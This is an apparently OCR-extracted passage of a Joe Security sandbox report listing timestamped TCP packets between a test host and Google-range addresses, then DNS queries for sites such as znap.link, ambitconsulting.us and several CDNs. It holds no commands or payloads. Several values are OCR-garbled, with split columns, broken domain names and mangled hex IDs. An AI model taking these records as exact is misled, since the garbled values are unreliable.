May 13, 2022 14:56:53.033206940 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033230066 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033248901 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033268929 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033288956 CEST 443 59934 142.250.186.142 192.168.2.5
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May 13, 2022 14:56:53.033308029 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033328056 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033358097 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033382893 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033406019 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033425093 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033444881 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033464909 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033484936 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033503056 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033979893 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:53.034219027 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:53.037874937 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.039284945 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:53.039568901 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.063956022 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.064007998 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.064029932 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.064053059 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.073874950 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.074888945 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.102242947 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.102713108 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.136764050 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.137448072 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.137496948 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.137515068 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.137531042 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.137547970 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.137564898 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.137579918 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.137597084 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.137613058 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.137629032 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.137644053 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.162161112 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.162554026 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.162678003 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.162853956 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.162961006 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.163069963 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.164025068 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:56:53.166214943 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.685466051 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:53.691716909 CEST 52512 443 192.168.2.5 142.250.186.98
May 13, 2022 14:56:53.704977036 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.704999924 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.705017090 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.705034018 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.705050945 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.705065966 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.705079079 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.710942030 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:53.721106052 CEST 443 52512 142.250.186.98 192.168.2.5

May 13, 2022 14:56:53.747437954 CEST 52512 443 192.168.2.5 142.250.186.98
May 13, 2022 14:56:55.038353920 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:55.057250977 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:55.057280064 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:55.064248085 CEST 59934 443 192.168.2.5 142.250.186.142
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May 13, 2022 14:56:55.117099047 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:55.117141008 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:55.117208004 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:55.117424011 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:55.141021013 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:55.157496929 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:55.157537937 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:55.163921118 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:57:06.067718983 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:57:06.067768097 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:57:06.067776918 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:57:06.067783117 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:57:06.067790031 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:57:06.067795038 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:57:06.091411114 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:57:06.100332975 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:57:06.100440025 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:57:06.107372999 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:57:08.107547045 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:57:08.150156975 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:57:12.826486111 CEST 56784 53 192.168.2.5 8.8.8.8

May 13, 2022 14:57:12.849450111 CEST 53 56784 8.8.8.8 192.168.2.5

May 13, 2022 14:57:13.512353897 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:13.554714918 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554749966 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554765940 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554781914 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554799080 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554815054 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554831982 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554848909 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554864883 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554881096 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554898024 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554912090 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554928064 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554943085 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554958105 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554975033 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.554989100 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.555003881 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.556240082 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.556263924 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.556282997 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.556303978 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.556324959 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.556344986 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.556365013 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.556385994 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.557787895 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.557811022 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.557830095 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.557849884 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.557869911 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.557889938 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.557910919 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.557930946 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.559042931 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:57:13.559091091 CEST 443 54851 142.250.184.200 192.168.2.5
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Timestamp Source Port Dest Port Source IP Dest IP

May 13, 2022 14:57:13.559111118 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.559125900 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.559145927 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.559165955 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.559185982 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.559207916 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.560590029 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.560611963 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.560632944 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.560652018 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.560672045 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.560693026 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.560712099 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.560730934 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.562850952 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.562885046 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.562903881 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.562920094 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.562941074 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.563057899 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.624248028 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.763365030 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:13.982719898 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:13.983112097 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:13.983414888 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:13.991347075 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:13.991676092 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:13.992036104 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:13.992145061 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:13.992223024 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:14.001765013 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.293528080 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:14.717725039 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:14.719882011 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:57:14.738907099 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.748404026 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.748461008 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.754931927 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.754951954 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.754966974 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.754981995 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.754997969 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.755013943 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.755029917 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.755044937 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.755060911 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.755074978 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.755089998 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.755100012 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.755158901 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.755175114 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.755189896 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.755203962 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.756798029 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.756814957 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.756830931 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.756845951 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.756860971 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:57:14.756875992 CEST 443 54851 142.250.184.200 192.168.2.5
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Timestamp

May 13, 2022 14:57:14.756891966 CEST
May 13, 2022 14:57:14.756906986 CEST
May 13, 2022 14:57:14.756917953 CEST
May 13, 2022 14:57:14.756931067 CEST
May 13, 2022 14:57:14.758820057 CEST
May 13, 2022 14:57:14.758898020 CEST
May 13, 2022 14:57:14.758915901 CEST
May 13, 2022 14:57:14.758932114 CEST
May 13, 2022 14:57:14.758948088 CEST
May 13, 2022 14:57:14.758964062 CEST
May 13, 2022 14:57:14.758980036 CEST
May 13, 2022 14:57:14.758996964 CEST
May 13, 2022 14:57:14.759011984 CEST
May 13, 2022 14:57:14.759028912 CEST
May 13, 2022 14:57:14.759043932 CEST
May 13, 2022 14:57:14.759058952 CEST
May 13, 2022 14:57:14.759071112 CEST
May 13, 2022 14:57:14.759453058 CEST
May 13, 2022 14:57:14.759835005 CEST
May 13, 2022 14:57:14.760160923 CEST
May 13, 2022 14:57:14.760236979 CEST
May 13, 2022 14:57:14.760255098 CEST
May 13, 2022 14:57:14.760272026 CEST
May 13, 2022 14:57:14.760288000 CEST
May 13, 2022 14:57:14.760304928 CEST
May 13, 2022 14:57:14.760323048 CEST
May 13, 2022 14:57:14.760339022 CEST
May 13, 2022 14:57:14.760354042 CEST
May 13, 2022 14:57:14.760674000 CEST
May 13, 2022 14:57:14.761740923 CEST
May 13, 2022 14:57:14.761778116 CEST
May 13, 2022 14:57:14.761794090 CEST
May 13, 2022 14:57:14.761810064 CEST
May 13, 2022 14:57:14.761822939 CEST
May 13, 2022 14:57:14.762092113 CEST
May 13, 2022 14:57:14.763772011 CEST
May 13, 2022 14:57:14.763881922 CEST
May 13, 2022 14:57:14.763899088 CEST
May 13, 2022 14:57:14.763916016 CEST
May 13, 2022 14:57:14.763931990 CEST
May 13, 2022 14:57:14.763955116 CEST
May 13, 2022 14:57:14.767328978 CEST
May 13, 2022 14:57:15.821204901 CEST
May 13, 2022 14:57:15.844640017 CEST
May 13, 2022 14:57:16.282402992 CEST
May 13, 2022 14:57:16.310818911 CEST
May 13, 2022 14:57:16.310867071 CEST
May 13, 2022 14:57:16.317501068 CEST
May 13, 2022 14:57:17.263912916 CEST
May 13, 2022 14:57:17.281805038 CEST
May 13, 2022 14:57:19.808845997 CEST
May 13, 2022 14:57:19.845628977 CEST
May 13, 2022 14:57:19.845649004 CEST
May 13, 2022 14:57:19.845982075 CEST
May 13, 2022 14:57:19.846091032 CEST
May 13, 2022 14:57:19.854643106 CEST
May 13, 2022 14:57:19.855791092 CEST
May 13, 2022 14:57:19.872400045 CEST
May 13, 2022 14:57:19.881745100 CEST

Copyright Joe Security LLC 2022

Source Port
443
443
443
443
54851
443
443
443
443
443
443
443
443
443
443
443
443
54851
54851
54851
443
443
443
443
443
443
443
443
54851
443
443
443
443
443
54851
443
443
443
443
443
443
54851
61384
53
54851
443
443
54851
63301
53
52512
443
443
443
52512
54254
52531
52512
443

Dest Port
54851
54851
54851
54851
443
54851
54851
54851
54851
54851
54851
54851
54851
54851
54851
54851
54851
443
443
443
54851
54851
54851
54851
54851
54851
54851
54851
443
54851
54851
54851
54851
54851
443
54851
54851
54851
54851
54851
54851
443
53
61384
443
54851
54851
443
53
63301
443
52512
52512
52512
443
443
443
443
52531

Source IP
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
192.168.2.5
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
192.168.2.5
192.168.2.5
192.168.2.5
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
192.168.2.5
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
192.168.2.5
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
142.250.184.200
192.168.2.5
192.168.2.5
8.8.8.8
192.168.2.5
142.250.184.200
142.250.184.200
192.168.2.5
192.168.2.5
8.8.8.8
192.168.2.5
142.250.186.98
142.250.186.98
142.250.186.98
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
142.250.186.131

Dest IP
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
142.250.184.200
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
142.250.184.200
142.250.184.200
142.250.184.200
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
142.250.184.200
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
142.250.184.200
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
142.250.184.200
8.8.8.8
192.168.2.5
142.250.184.200
192.168.2.5
192.168.2.5
142.250.184.200
8.8.8.8
192.168.2.5
142.250.186.98
192.168.2.5
192.168.2.5
192.168.2.5
142.250.186.98
142.250.185.100
142.250.186.131
142.250.186.98
192.168.2.5
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Timestamp Source Port Dest Port Source IP Dest IP

May 13, 2022 14:57:19.881773949 CEST 443 52531 142.250.186.131 192.168.2.5

May 13, 2022 14:57:19.881798029 CEST 443 52531 142.250.186.131 192.168.2.5

May 13, 2022 14:57:19.882196903 CEST 52531 443 192.168.2.5 142.250.186.131

May 13, 2022 14:57:19.883649111 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:57:19.884030104 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:57:19.884983063 CEST 54254 443 192.168.2.5 142.250.185.100

May 13, 2022 14:57:19.907442093 CEST 52531 443 192.168.2.5 142.250.186.131

May 13, 2022 14:57:19.909794092 CEST 443 52531 142.250.186.131 192.168.2.5

May 13, 2022 14:57:19.936098099 CEST 52531 443 192.168.2.5 142.250.186.131

May 13, 2022 14:57:19.936374903 CEST 52531 443 192.168.2.5 142.250.186.131

May 13, 2022 14:57:19.969053030 CEST 443 52531 142.250.186.131 192.168.2.5

May 13, 2022 14:57:19.970854998 CEST 52531 443 192.168.2.5 142.250.186.131

May 13, 2022 14:57:19.980618954 CEST 443 52531 142.250.186.131 192.168.2.5

May 13, 2022 14:57:19.981153965 CEST 443 52531 142.250.186.131 192.168.2.5

May 13, 2022 14:57:19.981219053 CEST 443 52531 142.250.186.131 192.168.2.5

May 13, 2022 14:57:19.981517076 CEST 52531 443 192.168.2.5 142.250.186.131

May 13, 2022 14:57:21.360676050 CEST 55317 443 192.168.2.5 142.250.184.238

May 13, 2022 14:57:21.386812925 CEST 443 55317 142.250.184.238 192.168.2.5

May 13, 2022 14:57:21.386899948 CEST 443 55317 142.250.184.238 192.168.2.5

May 13, 2022 14:57:21.387372017 CEST 55317 443 192.168.2.5 142.250.184.238

May 13, 2022 14:57:21.390604973 CEST 55317 443 192.168.2.5 142.250.184.238

May 13, 2022 14:57:21.417695999 CEST 443 55317 142.250.184.238 192.168.2.5

May 13, 2022 14:57:21.417742968 CEST 443 55317 142.250.184.238 192.168.2.5

May 13, 2022 14:57:21.420842886 CEST 55317 443 192.168.2.5 142.250.184.238

May 13, 2022 14:57:24.257654905 CEST 59285 53 192.168.2.5 8.8.8.8

May 13, 2022 14:57:24.286355972 CEST 53 59285 8.8.8.8 192.168.2.5

May 13, 2022 14:57:24.455429077 CEST 59934 443 192.168.2.5 142.250.186.142

May 13, 2022 14:57:24.478852034 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:57:24.484108925 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:57:24.484138012 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:57:24.494970083 CEST 59934 443 192.168.2.5 142.250.186.142

May 13, 2022 14:57:28.071304083 CEST 59934 443 192.168.2.5 142.250.186.142

May 13, 2022 14:57:28.094837904 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:57:28.102705956 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:57:28.102879047 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:57:28.108062029 CEST 59934 443 192.168.2.5 142.250.186.142

May 13, 2022 14:57:34.919369936 CEST 54254 443 192.168.2.5 142.250.185.100

May 13, 2022 14:57:34.942409039 CEST 52531 443 192.168.2.5 142.250.186.131

May 13, 2022 14:57:34.962013960 CEST 443 54254 142.250.185.100 192.168.2.5

May 13, 2022 14:57:34.987473011 CEST 443 52531 142.250.186.131 192.168.2.5

May 13, 2022 14:57:37.085989952 CEST 55317 443 192.168.2.5 142.250.184.238

May 13, 2022 14:57:37.130429983 CEST 443 55317 142.250.184.238 192.168.2.5

May 13, 2022 14:58:45.330337048 CEST 54773 53 192.168.2.5 8.8.8.8

May 13, 2022 14:58:45.349287987 CEST 53 54773 8.8.8.8 192.168.2.5

May 13, 2022 14:58:54.080212116 CEST 62831 53 192.168.2.5 8.8.8.8

May 13, 2022 14:58:54.105664968 CEST 53 62831 8.8.8.8 192.168.2.5

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 13, 2022 14:56:09.689305067 CEST 192.168.2.5 8.8.8.8 0x7802 Standard query  clients2.g A (IP address) IN (0x0001)
(0) oogle.com

May 13, 2022 14:56:10.061688900 CEST 192.168.2.5 8.8.8.8 0xa805 Standard query  accounts.g A (IP address) IN (0x0001)
(0) oogle.com

May 13, 2022 14:56:10.067696095 CEST 192.168.2.5 8.8.8.8 0x5915 Standard query  znap.link A (IP address) IN (0x0001)
0

May 13, 2022 14:56:11.520800114 CEST 192.168.2.5 8.8.8.8 0x1765 Standard query  rsms.me A (IP address) IN (0x0001)
0

May 13, 2022 14:56:11.523334980 CEST 192.168.2.5 8.8.8.8 0x46a5 Standard query  app.znapli A (IP address) IN (0x0001)
(0) nk.com
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 13, 2022 14:56:11.589920044 CEST 192.168.2.5 8.8.8.8 0x649 Standard query  imagedeliv A (IP address) IN (0x0001)
(0) ery.net
May 13, 2022 14:56:12.423208952 CEST 192.168.2.5 8.8.8.8 0x5f55 Standard query  uploads-ss A (IP address) IN (0x0001)
(0) l.webflow.com
May 13, 2022 14:56:15.082063913 CEST 192.168.2.5 8.8.8.8 0xd451 Standard query  app.znapli A (IP address) IN (0x0001)
(0) nk.com
May 13, 2022 14:56:15.135685921 CEST 192.168.2.5 8.8.8.8 Oxac5c Standard query  imagedeliv A (IP address) IN (0x0001)
(0) ery.net
May 13, 2022 14:56:23.218828917 CEST 192.168.2.5 8.8.8.8 Oxelf3 Standard query  ambitconsu A (IP address) IN (0x0001)
(0) Iting.us
May 13, 2022 14:56:24.492458105 CEST 192.168.2.5 8.8.8.8 0xf165 Standard query  stackpath. A (IP address) IN (0x0001)
(0) bootstrapc
dn.com
May 13, 2022 14:56:24.493799925 CEST 192.168.2.5 8.8.8.8 Oxe8ef Standard query  maxcdn.boo A (IP address) IN (0x0001)
(0) tstrapcdn.com
May 13, 2022 14:56:24.495057106 CEST 192.168.2.5 8.8.8.8 0x3675 Standard query  code.jquery.com A (IP address) IN (0x0001)
(0
May 13, 2022 14:56:24.512310028 CEST 192.168.2.5 8.8.8.8 0xc2d0 Standard query  cdnjs.clou A (IP address) IN (0x0001)
(0) dflare.com
May 13, 2022 14:56:28.041826010 CEST 192.168.2.5 8.8.8.8 0xe56¢ Standard query  ambitconsu A (IP address) IN (0x0001)
(0) Iting.us
May 13, 2022 14:56:29.002434969 CEST 192.168.2.5 8.8.8.8 0x2bc6 Standard query  www.znapli A (IP address) IN (0x0001)
(0) nk.com
May 13, 2022 14:56:29.646230936 CEST 192.168.2.5 8.8.8.8 Ox2al Standard query  d3e54v103j A (IP address) IN (0x0001)
(0) 8gbb.cloud
front.net
May 13, 2022 14:56:30.064095020 CEST 192.168.2.5 8.8.8.8 0x3590 Standard query  cdn.firstp A (IP address) IN (0x0001)
(0) romoter.com
May 13, 2022 14:56:30.108726025 CEST 192.168.2.5 8.8.8.8 Oxbelf Standard query  www.youtub A (IP address) IN (0x0001)
0) e.com
May 13, 2022 14:56:30.122031927 CEST 192.168.2.5 8.8.8.8 0x97d2 Standard query  analytics. A (IP address) IN (0x0001)
(0) tiktok.com
May 13, 2022 14:56:32.943787098 CEST 192.168.2.5 8.8.8.8 Oxce35 Standard query  googleads. A (IP address) IN (0x0001)
0) g.doubleclick.net
May 13, 2022 14:56:33.141558886 CEST 192.168.2.5 8.8.8.8 0x7a2 Standard query  www.google.com A (IP address) IN (0x0001)
()
May 13, 2022 14:56:33.142487049 CEST 192.168.2.5 8.8.8.8 Oxfaf4 Standard query  www.google.ch A (IP address) IN (0x0001)
©)
May 13, 2022 14:56:42.091152906 CEST 192.168.2.5 8.8.8.8 Oxcfb7 Standard query  uploads-ss A (IP address) IN (0x0001)
0) l.webflow.com
May 13, 2022 14:56:44.693439007 CEST 192.168.2.5 8.8.8.8 OxeOe Standard query  d3e54v103j A (IP address) IN (0x0001)
(0) 8gbb.cloud
front.net
May 13, 2022 14:56:52.240391016 CEST 192.168.2.5 8.8.8.8 0xe5c0 Standard query  static.dou A (IP address) IN (0x0001)
0) bleclick.net
May 13, 2022 14:57:12.826486111 CEST 192.168.2.5 8.8.8.8 0x6183 Standard query  uploads-ss A (IP address) IN (0x0001)
(0) l.webflow.com
May 13, 2022 14:57:15.821204901 CEST 192.168.2.5 8.8.8.8 0xc4f3 Standard query  client.crisp.chat A (IP address) IN (0x0001)
(0)
May 13, 2022 14:57:17.263912916 CEST 192.168.2.5 8.8.8.8 0x28a8 Standard query  client.rel A (IP address) IN (0x0001)
0) ay.crisp.chat
May 13, 2022 14:57:24.257654905 CEST 192.168.2.5 8.8.8.8 0x52c Standard query  play.google.com A (IP address) IN (0x0001)
(0)
May 13, 2022 14:58:45.330337048 CEST 192.168.2.5 8.8.8.8 0x7990 Standard query  client.rel A (IP address) IN (0x0001)
(0) ay.crisp.chat
May 13, 2022 14:58:54.080212116 CEST 192.168.2.5 8.8.8.8 Oxdcle Standard query  googleads. A (IP address) IN (0x0001)
